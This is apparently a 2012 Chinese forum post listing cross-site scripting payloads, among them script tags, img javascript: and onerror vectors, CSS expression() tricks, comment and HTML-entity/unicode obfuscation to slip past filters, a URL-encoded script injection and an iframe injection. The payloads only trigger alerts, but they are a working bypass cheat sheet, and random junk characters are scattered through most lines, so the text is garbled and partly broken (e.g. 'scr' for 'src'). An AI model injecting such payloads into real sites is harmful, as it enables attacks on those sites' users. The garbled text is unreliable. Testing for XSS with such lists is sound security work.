<script>alert("跨站")</script> (最常用）7 X( ]) z/ ]* b2 |! x+ D
<img scr=javascript:alert("跨站")></img>1 F9 ^0 A: {* ^2 t
<img scr="javascript: alert(/跨站/)></img>) n. ~) o" ^! z9 |7 `8 `; F
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）' p) x, H2 P3 {" A/ K, R, ]
<img scr="#" onerror=alert(/跨站/)></img>
% r8 e7 N: A4 N! M3 S: v+ `% y1 q<img scr="#" style="xss:expression(alert(/xss/));"></img>6 B2 S s- h4 g3 c# m0 p" Y& l
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）) F: N$ z$ }" i8 m# G* D
<img src=vbscript:msgbox ("xss")></img>+ \" m0 ~* B; V
<style> input {left:expression (alert('xss'))}</style>/ w3 d9 V4 Z0 [. ~' \3 S
<div style={left:expression (alert('xss'))}></div>, k' n# q- Z: g4 X. V
<div style={left:exp/* */ression (alert('xss'))}></div>( U7 C4 ~# n4 E6 ^/ u
<div style={left:\0065\0078ression (alert('xss'))}></div>
4 k! |, F; ~2 @html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>. b: m. U- ?( c- h& {7 `5 e( ?, a" a
unicode <div style="{left:expRessioN (alert('xss'))}">9 ?8 x) Y9 c/ T1 j" H; z
+ S* }( i2 u: o, C"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
: R7 I* ]7 P o% w8 v) p |
发表于 2012-9-15 14:09:13
收藏
支持
反对